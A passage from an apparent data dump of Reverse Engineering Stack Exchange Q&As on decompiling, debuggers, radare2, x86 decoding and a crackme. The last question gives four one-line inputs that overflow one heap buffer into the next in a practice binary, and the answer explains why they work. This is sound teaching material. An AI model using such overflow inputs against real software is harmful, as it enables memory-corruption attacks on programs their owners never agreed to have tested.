&amp; 0x7F);\n    __outbyte(0x3C4u, 4u);\n    __outbyte(0x3C5u, 6u);\n    _disable();\n    __outbyte(0x3C4u, 0);\n    __outbyte(0x3C5u, 1u);\n    __outbyte(0x3C2u, 0xE7u);\n    __outbyte(0x3C4u, 0);\n    __outbyte(0x3C5u, 3u);\n    _enable();\n    __outword(0x3C4u, 0xF02u);\n    memset((void *)0xA0000, 0, 65532u);\n    v3 = &amp;byte_318EF;\n    LOBYTE(v4) = 0;\n    v5 = 24;\n    do\n    {\n      if ( *v3 != -1 )\n      {\n        HIBYTE(v4) = *v3;\n        __outword(0x3D4u, v4);\n      }\n      ++v3;\n      LOBYTE(v4) = v4 + 1;\n      --v5;\n    }\n    while ( v5 );\n    __outbyte(0x3D4u, 0x11u);\n    v6 = __inbyte(0x3D5u);\n    __outbyte(0x3D5u, v6 | 0x80);\n  }\n}\n</code></pre>\n<p>The content of byte_318EF is as follows:</p>\n<pre><code>cseg02:000318EF     byte_318EF      db 6Bh, 59h, 5Ah, 8Eh, 5Eh, 8Ah, 0Dh, 3Eh, 0FFh, 0C0h\ncseg02:000318EF                     db 6 dup(0FFh), 0EAh, 0ACh, 0DFh, 2Dh, 0, 0E7h, 6, 0E3h\n</code></pre>\n",
        "Title": "Reverse engineering mode X VGA function(s)",
        "Tags": "|decompilation|c|functions|dos|",
        "Answer": "<p>It seems it\u2019s simply performing initialization of the VGA registers and clearing the screen buffer. The array at 318EF contains the values of the CRT controller indexed registers (ports 3D4/3D5).</p>\n"
    },
    {
        "Id": "26787",
        "CreationDate": "2021-01-16T03:38:45.027",
        "Body": "<p>I'm reversing a program and a library without debugging symbols. I'm using x64dbg to break at specific regions and observe what is happening at runtime, and annotate the decompile version in ghidra.</p>\n<p>I'm using <a href=\"https://github.com/bootleg/ret-sync\" rel=\"nofollow noreferrer\">ret-sync</a> to synchronize horizon between x64dbg and ghidra. However, it's often addresses and not values that are directly visible in x64dbg, and only the horizon is sync in ghidra, from x64dbg as the program goes on.</p>\n<p>I would like to:</p>\n<ol>\n<li><p>see the variables values in ghidra's decompile window: as the program goes and all the values that were allocated between two datetimes in the execution; how can I do this ? For instance when a pointer change of address I would like to follow the &quot;content&quot; directly, not &quot;caring/focusing first&quot; about/on the address.</p>\n</li>\n<li><p>in the case of arrays and struct, from the address, how can I have all the values displayed, as if I was debugging from Visual Studio for instance ? (<a href=\"https://devblogs.microsoft.com/visualstudio/customize-object-displays-in-the-visual-studio-debugger-your-way/\" rel=\"nofollow noreferrer\">example</a>)</p>\n</li>\n<li><p>how can I label back the renamed variables in ghidra back in x64dbg ?</p>\n</li>\n</ol>\n",
        "Title": "With ghidra/x64dbg sync, how to display dynamic values in ghidra's decompile window?",
        "Tags": "|debugging|ghidra|x64dbg|",
        "Answer": "<p>It sounds like you are looking for proper debugger integration in Ghidra. This has recently been published to the GitHub repository in the <a href=\"https://github.com/NationalSecurityAgency/ghidra/tree/debugger\" rel=\"nofollow noreferrer\"><code>debugger</code> branch</a>. There is also a <a href=\"https://wrongbaud.github.io/posts/ghidra-debugger/\" rel=\"nofollow noreferrer\">good blogpost</a> showcasing it.</p>\n<p>Sadly there does not seem to be a <code>x64dbg</code> backend yet, but I would expect that this will appear as either an official backend or a community plugin at some point in the near future.\nConcerning your specific questions and whether they are supported or will likely be supported via this debugger feature in the future:</p>\n<blockquote>\n<p>see the variables values in ghidra's decompile window</p>\n</blockquote>\n<p>I think showing them directly in the decompile window is currently not supported. But showing a list of variables of the current function, globals and maybe specific addresses definitely seems like something that will be supported at some point, or can be written with reasonable effort.</p>\n<blockquote>\n<p>in the case of arrays and struct, from the address, how can I have all the values displayed, as if I was debugging from Visual Studio for instance ?</p>\n</blockquote>\n<p>I am not quite sure what you mean here because I never used debugging with Visual Studio myself. But this seems like a more specific case of the first question to me and will either be supported at some point, or something that can be scripted for a specific purpose easily enough.</p>\n<blockquote>\n<p>how can I label back the renamed variables in ghidra back in x64dbg ?</p>\n</blockquote>\n<p>This might be out of scope for a debugger plugin and would require support on the <code>x64dbg</code> side. The <code>x64dbg</code> plugin would need some functionality to receive variable names from Ghidra and apply them. Most likely possible in general, but I do not know if the Debugger Protocol which Ghidra uses supports this notion.</p>\n"
    },
    {
        "Id": "26843",
        "CreationDate": "2021-01-22T10:17:12.860",
        "Body": "<p>into GDB python I tried <code>gdb.Breakpoint('0xaaaa')</code></p>\n<p>I got error</p>\n<p><code>Function 0xaaaa is not defided  . Breakpoint 5(0xaaaa) pending</code></p>\n<p>and  the program not break at this address.</p>\n<p>Why is that?</p>\n",
        "Title": "Set gdb breakpoint by address with gdb python",
        "Tags": "|gdb|breakpoint|",
        "Answer": "<p>You just need to prefix the address with a <code>'*'</code>, like when using <code>break</code>.</p>\n<p>For example:</p>\n<pre><code>(gdb) python\n&gt;gdb.Breakpoint('*0x080487ff')\n&gt;end\nBreakpoint 1 at 0x80487ff\n(gdb)\n</code></pre>\n"
    },
    {
        "Id": "26847",
        "CreationDate": "2021-01-22T20:19:53.433",
        "Body": "<p>Sorry if this is a dumb question I'm new to assembly.</p>\n<p>Basically I want to modify a function in a .exe file to return with a different data, but my issue is that the memory location of the data segment I want to return is always changing after system restart. For example currently it is <code>.data:018C74F1 byte_18C74F1</code>, next time it's going to differ like <code>.data:16874F1 byte_16874F1</code>. So due to this I am unable to change the return value to that in the file. Is there any way to workaround this?</p>\n<p>Thank you very much for any answer given!</p>\n",
        "Title": "Is it possible to make a dynamic memory allocated .data segment to static in a file?",
        "Tags": "|ida|ollydbg|static-analysis|dynamic-analysis|functions|",
        "Answer": "<p>What you are observing is the effect of ASLR.\nYou should focus on the instructions which access this memory location.\nTo put simply:</p>\n<ul>\n<li>on x86, you will find some .reloc entries pointing to these instructions;</li>\n<li>on x64, the memory operand is RIP related (this is hidden in IDA by default).</li>\n</ul>\n<p>Since you tagged <code>ollydbg</code>, I'm guessing this is for x86, and the 'bad' news is it's more tedious to patch than for x64. The main reason is related to how the .reloc is working.\nWhen you application is loading, the loader will find a different base image and will apply relocations. Basically (really simplified) it takes 32-bit values and adjust them accordingly to the base address. Those values are offsets inside an instruction. If you modify/patch the instruction and change the offset location (or remove it), the .reloc will corrupt the instruction.</p>\n<p>Another solution is creating a new thread and keep modifying this memory location, this is what most trainers do.</p>\n"
    },
    {
        "Id": "26849",
        "CreationDate": "2021-01-22T23:21:48.850",
        "Body": "<p>Suppose you've never done reverse engineering before (apart from taking apart already-broken tape recorders). Also suppose you had a machine as pictured below, with a serial-looking and another multi-pin connector on the back. Thirdly, suppose you wanted to use this console as a computer input, hoping to gain control of more than just the keyboard part (it's got a trackball, a hefty jog/cue wheel, rotary dials, blinkenlights, and a two-line character VFD display).</p>\n<p>Lastly, suppose you <em>don't</em> have access to any technical specifications! No user manual, no installation guide, no service manual, not even a crappy nth-generation photocopy of the pin-outs. The company no longer exists, and the archive of their web site is of no help. Pretty much all I have is that this console runs on &quot;90-264V&quot; and draws &quot;&lt;42W&quot;.</p>\n<p>On the plus side, I (used to) know the operation of this console very well. For instance, I can tell you it's got no real brains -- <em>that</em> is in a separate computer, <em>this</em> is merely the controller for it. The main computer costs thousands, and anyway is purpose-built and not useful as a general computing device (I don't think this runs a regular operating system &quot;behind the scenes&quot;, at least I could recognize no tell-tale signs from the boot sequence, file system naming, or something like that).</p>\n<p>I am confident that I could surely figure out the main power pins based on the red and black wires going to that Molex connector ... but the rest of those pins? All that functionality? I don't even know where to start.</p>\n<p>I am a programmer by trade, I'm pretty good with my hands, including competency with a soldering iron and a multimeter. I don't have (access to) an oscilloscope, signal analyzer, or any such fanciness.</p>\n<p>A few hints for me? Is this even doable?</p>\n<p><a href=\"https://i.stack.imgur.com/lyrtm.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/lyrtm.png\" alt=\"Accom Axial editing console\" /></a>\n<a href=\"https://i.stack.imgur.com/2YCqc.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/2YCqc.png\" alt=\"connectors on the back\" /></a>\n<a href=\"https://i.stack.imgur.com/84v0t.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/84v0t.png\" alt=\"back side off mode\" /></a></p>\n<p><strong>EDIT:</strong> By the way, these are the chassis: The Display chassis on top of the Comms chassis (neither of which I have, or plan to acquire).</p>\n<p><a href=\"https://i.stack.imgur.com/wGj6N.jpg\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/wGj6N.jpg\" alt=\"Display and Comms chassis\" /></a></p>\n",
        "Title": "Advice on how to attack my first reverse engineering project?",
        "Tags": "|hardware|communication|physical-attacks|",
        "Answer": "<p>It was made by humans so there's a spec.</p>\n<p><a href=\"https://i.stack.imgur.com/iXYlI.jpg\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/iXYlI.jpg\" alt=\"enter image description here\" /></a></p>\n<p>I googled it.</p>\n<p>Here's <a href=\"https://usermanual.wiki/Document/AxialMXInstallGuide.392315378/view\" rel=\"noreferrer\">a manual which talks about the Axial MX from Accom ~2005</a>. If it's a series of edit controllers, they'll likely work the same under the hood and use the same protocol from one version to the next.</p>\n<p><a href=\"https://i.stack.imgur.com/W0vgG.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/W0vgG.png\" alt=\"Ports\" /></a></p>\n<p>Looks like an RS422 Serial. So you just need to hook it up to a computer with a serial port and take a look at what data is transmitted when you hit a key. You'll have to <a href=\"https://github.com/devttys0/baudrate/blob/master/baudrate.py\" rel=\"noreferrer\">figure out some of the serial port parameters such as rate, parity, etc,</a> but this should get you going.</p>\n<p><a href=\"https://i.stack.imgur.com/fsZow.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/fsZow.png\" alt=\"enter image description here\" /></a></p>\n"
    },
    {
        "Id": "26857",
        "CreationDate": "2021-01-23T22:58:49.493",
        "Body": "<p>I have a program (P.exe) with several dependencies (A.dll, B.dll etc). I decompiled and studied B.dll, but at runtime, P.exe is using A.dll. The horizon is updating in ISA view-RIP, but I don't have the decompiler view.</p>\n<p>How can I get the decompiled view of A.dll, where the horizon is ?</p>\n<p>Using IDA pro 7.5</p>\n",
        "Title": "open decompiler view of current module (dll) in dynamic analysis",
        "Tags": "|ida|debuggers|dll|",
        "Answer": "<p>One simple way is to take a snapshot of the process memory and then work with it since it includes the modules.</p>\n<p>Another is to create a database with all the modules, as described: <a href=\"https://www.hex-rays.com/blog/several-files-in-one-idb-part-3/\" rel=\"nofollow noreferrer\">https://www.hex-rays.com/blog/several-files-in-one-idb-part-3/</a></p>\n"
    },
    {
        "Id": "26870",
        "CreationDate": "2021-01-25T18:59:03.757",
        "Body": "<p>I'm trying to learn reverse engineering using Radare2.\nFor this I compiled a hello world program with GCC on Ubuntu (version: gcc (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0).</p>\n<pre><code>#include &lt;stdio.h&gt;\nint main() {\n        printf(&quot;Hello, world!&quot;);\n        return 0;\n}\n</code></pre>\n<p>Compile it:</p>\n<pre><code>gcc -w hello_world.c -o hello_world\n</code></pre>\n<p>However, when I decompile it using Radare2:</p>\n<pre><code>r2 hello_world\n[0x00001060]&gt; aaa\n[Cannot find function at 0x00001060 sym. and entry0 (aa)\n[x] Analyze all flags starting with sym. and entry0 (aa)\n[x] Analyze function calls (aac)\n[x] Analyze len bytes of instructions for references (aar)\n[x] Check for objc references\n[x] Check for vtables\n[x] Type matching analysis for all functions (aaft)\n[x] Propagate noreturn information\n[x] Use -AA or aaaa to perform additional experimental analysis.\n[0x00001060]&gt; afl\n0x00001090    4 41   -&gt; 34   sym.deregister_tm_clones\n0x000010c0    4 57   -&gt; 51   sym.register_tm_clones\n[0x00001060]&gt; \n</code></pre>\n<p>The main function does not show up.\nSearching for it specifically with pdf @main also does not work.</p>\n<p>But the program runs fine, and other information I get using Radare (iI command for example) looks normal.</p>\n<p><strong>Can anyone explain to me why I can't get the main function to show?</strong></p>\n<p>Edit:\nI tried the same thing on Ubuntu 18.04 LTS and I get a different output, this time with the main function</p>\n<pre><code>[0x7f1465cb4090]&gt; afl\n0x55595d978000    2 64           sym.imp.__libc_start_main\n0x55595d9784f0    3 23           sym._init\n0x55595d978520    1 6            sym.imp.printf\n0x55595d978530    1 6            sub.__cxa_finalize_248_530\n0x55595d978540    1 43           entry0\n0x55595d978570    4 50   -&gt; 40   sym.deregister_tm_clones\n0x55595d9785b0    4 66   -&gt; 57   sym.register_tm_clones\n0x55595d978600    4 49           sym.__do_global_dtors_aux\n0x55595d978640    1 10           entry1.init\n0x55595d97864a    1 28           sym.main\n0x55595d978670    4 101          sym.__libc_csu_init\n0x55595d9786e0    1 2            sym.__libc_csu_fini\n0x55595d9786e4    1 9            sym._fini\n0x55595db78fe0    1 1020         reloc.__libc_start_main_224\n</code></pre>\n",
        "Title": "main function not found in GCC compiled code",
        "Tags": "|radare2|functions|gcc|",
        "Answer": "<p>This is because of your old <code>radare2</code> installation. If you installed <code>radare2</code> via <code>apt</code> its very old.\nBuild it from latest source instead and you can look at different symbols.</p>\n<p>I tried to replicate your problem in an Ubuntu 20.04 docker container</p>\n<pre><code>root@4a6deaf68cd8:/tmp# r2 -v\nradare2 4.2.1 0 @ linux-x86-64 git.4.2.1\ncommit: unknown build: \nroot@4a6deaf68cd8:/tmp# r2 -q -c &quot;aaa; afl&quot; hello_world\nCannot find function at 0x00001060\n0x00001090    4 41   -&gt; 34   sym.deregister_tm_clones\n0x000010c0    4 57   -&gt; 51   sym.register_tm_clones\nroot@4a6deaf68cd8:/tmp# /root/bin/r2 -v\nradare2 5.1.0 25622 @ linux-x86-64 git.5.1.0\ncommit: 0939e57001c9eeda296d2699c60b967b5927e637 build: 2021-01-26__20:17:25\nroot@4a6deaf68cd8:/tmp# /root/bin/r2 -q -c &quot;aaa; afl&quot; hello_world\nWarning: run r2 with -e io.cache=true to fix relocations in disassembly\n0x00001060    1 46           entry0\n0x00001090    4 41   -&gt; 34   sym.deregister_tm_clones\n0x000010c0    4 57   -&gt; 51   sym.register_tm_clones\n0x00001100    5 57   -&gt; 54   sym.__do_global_dtors_aux\n0x00001040    1 11           sym..plt.got\n0x00001140    1 9            entry.init0\n0x00001000    3 27           sym._init\n0x000011e0    1 5            sym.__libc_csu_fini\n0x000011e8    1 13           sym._fini\n0x00001170    4 101          sym.__libc_csu_init\n0x00001149    1 32           main\n0x00001050    1 11           sym.imp.printf\nroot@4a6deaf68cd8:/tmp# \n</code></pre>\n<p>I used the <code>sys/user.sh</code> in r2's repo to build from source and install new <code>r2</code> at <code>/root/bin/r2</code></p>\n<p>In the output - the latest radare2 was able to figure out main and some other functions while the older one could not.</p>\n"
    },
    {
        "Id": "26887",
        "CreationDate": "2021-01-27T03:29:04.423",
        "Body": "<p>I was following the response to this <a href=\"https://reverseengineering.stackexchange.com/questions/17415/how-to-change-a-string-in-a-arm-32bit-lsb-executable-binary-using-radare2\">question</a> to change the string of an elf executable. No matter how many times I try, I just can't modify the string. I notice that probably the issue lies in the permissions of rodata section.</p>\n<pre><code>[0x00001060]&gt; iS\n[Sections]\n\nnth paddr        size vaddr       vsize perm name\n\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\n...\n16  0x00001060  0x185 0x00001060  0x185 -r-x .text\n17  0x000011e8    0xd 0x000011e8    0xd -r-x .fini\n18  0x00002000   0x12 0x00002000   0x12 -r-- .rodata\n...\n</code></pre>\n<p>Is there a way to write in this section? or is there another way to modify strings?</p>\n<p><strong>update</strong></p>\n<p>this is the program</p>\n<pre><code>#include &lt;stdio.h&gt;\nint main()\n{\n   printf(&quot;Hello, World!\\n&quot;);\n   return 0;\n}\n</code></pre>\n<p>I want to change &quot;Hello World!\\n&quot;, this is how I am changing the string in radare2</p>\n<pre><code>$ r2 -w modified_helloworld\n[0x00001060]&gt; iz\n[Strings]\nnth paddr      vaddr      len size section type  string\n\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\n0   0x00002004 0x00002004 13  14   .rodata ascii Hello, World!\n\n[0x00001060]&gt; w Good, Bye!!!! @0x00002004\n[0x00001060]&gt; iz\n[Strings]\nnth paddr      vaddr      len size section type  string\n\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\n0   0x00002004 0x00002004 13  14   .rodata ascii Hello, World!\n\n[0x00001060]&gt;\n</code></pre>\n<p>As can be seen, I'm using the w command but when I check the string again, there are no changes.\nThanks in advance.</p>\n",
        "Title": "Can't modify string in radare2 (.rodata section)",
        "Tags": "|radare2|elf|",
        "Answer": "<p>All is good. r2 doesn't refresh this <code>.rodata</code> by default after your change but if you go to the address <code>0x2004</code>, you would see your change.</p>\n<pre><code>r2 -w modified_helloworld\nw Good, Bye!!!! @0x00002004\ns 0x2004\n[0x00002004]&gt; px\n- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF\n0x00002004  476f 6f64 2c20 4279 6521 2121 2100 0000  Good, Bye!!!!...\n</code></pre>\n<p>If you want to see your change with <code>iz</code> just reload binary info with <code>ib</code>.</p>\n<pre><code>r2 -w modified_helloworld\nw Good, Bye!!!! @0x00002004\n[0x00001060]&gt; iz\n[Strings]\nnth paddr      vaddr      len size section type  string\n\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\n0   0x00002004 0x00002004 13  14   .rodata ascii Hello, world!\n\n[0x00001060]&gt; ib\n[0x00001060]&gt; iz\n[Strings]\nnth paddr      vaddr      len size section type  string\n\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\u2015\n0   0x00002004 0x00002004 13  14   .rodata ascii Good, Bye!!!!\n</code></pre>\n"
    },
    {
        "Id": "26903",
        "CreationDate": "2021-01-30T03:15:41.960",
        "Body": "<p>How does the parser parse the machine code? Does it go byte by byte? How does it know how many bytes to read when parsing an instruction? Does it have some sorts of tables of bytes to translate the machine code via table directly into assembly like AST?</p>\n<p>I am starting to understand how to <em>generate</em> the machine code from Assembly, but how do you go from machine code to assembly essentially, from machine code to an AST used by a VM? What are the general principles?</p>\n<p>Are there any open source projects that demonstrate this for x86? I have seem many &quot;x86 vms&quot; on GitHub which interpret assembly instructions, but none that interpret machine code directly. I guess this would be some sort of reverse engineering project (maybe <a href=\"https://github.com/Recoskie/X86-64-Disassembler-JS\" rel=\"nofollow noreferrer\">this</a> is one?), but not sure where to look. Even something which takes the machine code and converts it to assembly string would be valuable to see, something similar to <a href=\"https://github.com/CyberGrandChallenge/binutils/blob/master/binutils/objdump.c\" rel=\"nofollow noreferrer\">objdump</a>, but ideally in JavaScript/Node.js :)</p>\n<p><a href=\"https://github.com/intelxed/xed/blob/fc7480856ab134d0de376a177f4ae675eb9cdd81/src/dec/xed-ild.c#L1450-L1485\" rel=\"nofollow noreferrer\">This</a> looks like a good start, is this standard?</p>\n<pre><code>void\nxed_instruction_length_decode(xed_decoded_inst_t* ild)\n{\n    prefix_scanner(ild);\n#if defined(XED_AVX) \n    if (xed3_operand_get_out_of_bytes(ild)) \n        return;\n    vex_scanner(ild);\n#endif\n#if defined(XED_SUPPORTS_AVX512) || defined(XED_SUPPORTS_KNC)\n\n    // evex scanner assumes it can read bytes so we must check for limit first.\n    if (xed3_operand_get_out_of_bytes(ild))\n        return;\n\n    // if we got a vex prefix (which also sucks down the opcode),\n    // then we do not need to scan for evex prefixes.\n    if (!xed3_operand_get_vexvalid(ild) &amp;&amp; chip_supports_avx512(ild)) \n        evex_scanner(ild);\n#endif\n\n    if (xed3_operand_get_out_of_bytes(ild))\n        return;\n#if defined(XED_AVX)\n    // vex/xop prefixes also eat the vex/xop opcode\n    if (!xed3_operand_get_vexvalid(ild) &amp;&amp;\n        !xed3_operand_get_error(ild)     )\n        opcode_scanner(ild);\n#else\n    opcode_scanner(ild);\n#endif\n    modrm_scanner(ild);\n    sib_scanner(ild);\n    disp_scanner(ild);\n    imm_scanner(ild);\n}\n</code></pre>\n<p>It looks like a lot of processing to figure out the instructions.</p>\n<p>But alas, <a href=\"https://reverseengineering.stackexchange.com/questions/26904/where-is-the-xed-operand-accessors-source-code\">some of the functions source code are missing</a>, like <code>xed3_operand_get_out_of_bytes</code>...</p>\n",
        "Title": "How do you build a virtual machine to interpret machine code?",
        "Tags": "|assembly|x86|machine-code|vm|",
        "Answer": "<p>yes the parser can parse byte by byte<br />\nan x86 instruction is MAX 15 Bytes</p>\n<p>so if it sees 15 bytes of 0x66 (PREFIX BYTE )one followed by another<br />\nit will discard 13 bytes , consider the 14th byte as VALID PREFIX\nand disassemble the 14th&amp;15th byte<br />\n(same for all LEGACY_PREFIX(2e,...67) ,REX_FAMILY on x64 (0x40,0x4f)</p>\n<p>see for a python poc</p>\n<pre><code>from capstone import *\nCODE = [\nb&quot;\\x66\\x66\\x66\\x66\\x66\\x66\\x66\\x66\\x66\\x66\\x66\\x66\\x66\\x66\\x90\\x90&quot;,\nb&quot;\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x90\\x90&quot;,\nb&quot;\\x2e\\x2e\\x2e\\x2e\\x2e\\x2e\\x2e\\x2e\\x2e\\x2e\\x2e\\x2e\\x2e\\x2e\\x90\\x90&quot;\n]\nprint(&quot;\\nCODE[0] parsed notice the Address of Successive instructions&quot;)\nfor i in (Cs(CS_ARCH_X86,CS_MODE_64).disasm(CODE[0],0x10000000)):\n    print(&quot;0x%x:\\t%s\\t%s&quot; %(i.address, i.mnemonic, i.op_str))\nprint(&quot;\\nCODE[1] parsed notice the Address of Successive instructions&quot;)\nfor i in (Cs(CS_ARCH_X86,CS_MODE_64).disasm(CODE[1],0x10000000)):\n    print(&quot;0x%x:\\t%s\\t%s&quot; %(i.address, i.mnemonic, i.op_str))\nprint(&quot;\\nCODE[2] parsed notice the Address of Successive instructions&quot;)\nfor i in (Cs(CS_ARCH_X86,CS_MODE_64).disasm(CODE[2],0x10000000)):\n    print(&quot;0x%x:\\t%s\\t%s&quot; %(i.address, i.mnemonic, i.op_str)) \n\n\n:\\&gt;python dis64.py\n\nCODE[0] parsed notice the Address of Successive instructions\n0x10000000:     nop\n0x1000000f:     nop\n\nCODE[1] parsed notice the Address of Successive instructions\n0x10000000:     xchg    eax, r8d\n0x1000000f:     nop\n\nCODE[2] parsed notice the Address of Successive instructions\n0x10000000:     nop\n0x1000000f:     nop\n</code></pre>\n<p>parsing the opcode is complex procedure (cisc instructions for x86/x86_64)</p>\n<p>manually decoding a random stream of bytes</p>\n<p>a simple one byte opcode with 4 byte immediate</p>\n<pre><code>&gt;&gt;&gt; &quot;{0:040b}&quot;.format(0x3dffffffff)\n'0011110111111111111111111111111111111111'\n========================================================\n  0x3d       0xff       0xff       0xff       0xff\n76543210 | 76543210 | 76543210 | 76543210 | 76543210\n00111101 | 11111111 | 11111111 | 11111111 | 11111111\n------ds | modregrm sib immediate etc follows\n</code></pre>\n<p>simple naive parser action will be like</p>\n<pre><code>first 6 bits 001111  using a look up table this is a CMP mnemonic \n\n(0x3c,al,imm8 or 0x3d eax,imm32)\n\n7th bit dbit = 0 a register\n8th bit sbit = 1 so 32 bit register so takes a  32 bit wide immediate \n\nso this will be \nCMP EAX,0xffffffff\n</code></pre>\n<p>checking with some known implementations</p>\n<pre><code>windbg\n0:000&gt; eb . 3d ff ff ff ff;u . l 1\nntdll!LdrpDoDebuggerBreak+0x2c:\n778b05a6 3dffffffff      cmp     eax,0FFFFFFFFh\n0:000&gt;\n\nobjdump\n:\\&gt;echo &quot;\\x3dffffffff&quot; | xxd -r -p &gt; foo.bin\n:\\&gt;xxd -g 1 foo.bin\n00000000: 3d ff ff ff ff                                   =....\n:\\&gt;objdump.exe -b binary -mi386 -D foo.bin\n\nfoo.bin:     file format binary\nDisassembly of section .data:\n00000000 &lt;.data&gt;:\n   0:   3d ff ff ff ff          cmp    $0xffffffff,%eax\n</code></pre>\n<p>you can also use capstone,gdb,llvm,distorm,xed,.......as above</p>\n"
    },
    {
        "Id": "26932",
        "CreationDate": "2021-02-03T12:49:44.877",
        "Body": "<p>I see many reverse engineering lessons and every second person does reverse engineer using Ghidra decompiler and not disassembler as both are available in the same platform. I assume that reversing using decompiler is easy than disassembler(understanding the assembly of the code). Do I'm thinking right?\nlet's say I'm using Ghidra then when should I see disassembler and when decompiler?\nPlus If we have now a free decompiler available in Ghidra then the need for a disassembler is gone and there is no need of understanding the assembly when we have a decompiler?</p>\n",
        "Title": "Why do reversers nowadays reverse engineer using decompilers and not disassemblers?",
        "Tags": "|ida|binary-analysis|ghidra|disassemblers|decompiler|",
        "Answer": "<p>Disassembler: Converts machine code (executable binary) to human readable Assembly code.<br />\nDecompiler: Converts machine code (executable binary) to higher level languages such as C/C++.</p>\n"
    },
    {
        "Id": "26938",
        "CreationDate": "2021-02-03T21:00:33.457",
        "Body": "<p>I am working with a <a href=\"https://crackmes.one/crackme/5f05ec3c33c5d42a7c66792b\" rel=\"nofollow noreferrer\">binary</a> that involves a buffer overflow on two contiguous memory blocks allocated with malloc. The binary filles up the first buffer with whatever the user inputs and hardcodes the second buffer to 1. There are a couple of solutions for this challenge that I do not understand. Please, consider the following:</p>\n<ol>\n<li>python3 -c &quot;print('A' * 32 + '\\x00' * 4)&quot; | ./simple_overflow</li>\n<li>python3 -c &quot;print('A' * 31 + '\\n')&quot; | ./simple_overflow</li>\n<li>perl -e &quot;print \\&quot;A\\&quot; x 32 . \\&quot;\\0\\&quot;&quot; | ./simple_overflow</li>\n<li>head -c 33 /dev/zero &gt; input &amp;&amp; ./simple_overflow &lt; input</li>\n</ol>\n<p>The first solution is straight forward. It writes 32 bytes into the first buffer and then four null bytes into the second one. Writing 4 bytes makes sense since integers are 4 bytes in size. However, the second answer only writes 31 bytes plus '\\n', and the third and fourth solutions use 33 bytes. The three of them work correctly (see screenshot).</p>\n<p><a href=\"https://i.stack.imgur.com/liyDR.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/liyDR.png\" alt=\"enter image description here\" /></a></p>\n<p>If you need to check the asm associated with this binary please see <a href=\"https://reverseengineering.stackexchange.com/questions/26928/using-gdb-to-find-the-address-of-a-buffer-in-a-stripped-c-binary\">here</a>.</p>\n<p>Why do solutions 2 to 4 work? Are \\n and \\0 internally considered integers? What about \\x00?</p>\n<p><strong>Note:</strong> solutions provided by users nicknamed h0un6, bottonim and escalatedquickly.</p>\n",
        "Title": "Difference between \\n, \\0, \\x00 and data from /dev/zero when performing a buffer overflow?",
        "Tags": "|disassembly|debugging|static-analysis|buffer-overflow|crackme|",
        "Answer": "<p>so this crackme allocates two blocks of memory of size 0x10 and 0x8 and saves the result as buf1 and buf2</p>\n<p>buf1 = malloc(0x10);\nbuf2 = malloc(0x08);</p>\n<p>so to overflow into the first byte of second buffer the string must be of length\n&amp;buf2-&amp;buf1</p>\n<p>it does not write 0x20  bytes into a  0x10 long buffer it trashes/corrupts the  memory after 0x10 bytes by overwriting or overflowing or spilling into memory not owned</p>\n<p>the address in solution you quote are 20 bytes apart so to overflow into the first byte of second buffer you need 0x21 or 33 bytes</p>\n<p>but it may happen that they are 8 bytes apart or 80 bytes apart in such cases you may need a 9 byte or 81 byte long exploit string</p>\n<p>for understanding why 31 'A' works you may have to study the function fgets() which stops reading when a '\\n' is encountered and how it null terminates the returned string after reading a valid character</p>\n<p>shown below is a sample implementation and output</p>\n<pre><code>:\\&gt;xxd input.txt\n00000000: 4141 4141 4141 4141 4141 4141 410a 4141  AAAAAAAAAAAAA.AA        \n\n:\\&gt;cat fgets.cpp\n#include &lt;stdio.h&gt;\n#define BUFFERSIZE 16\nint main(void)\n{\n    char buffer[BUFFERSIZE] = {0};      \n    buffer[BUFFERSIZE - 1] = 'Z';       \n    buffer[BUFFERSIZE - 2] = 'Z';       \n    for (int i = 0; i &lt; BUFFERSIZE; i++)\n    {\n        printf(&quot;%02x &quot;, buffer[i]);\n    }\n    printf(&quot;\\n&quot;);\n    FILE *fp = NULL;\n    errno_t err = 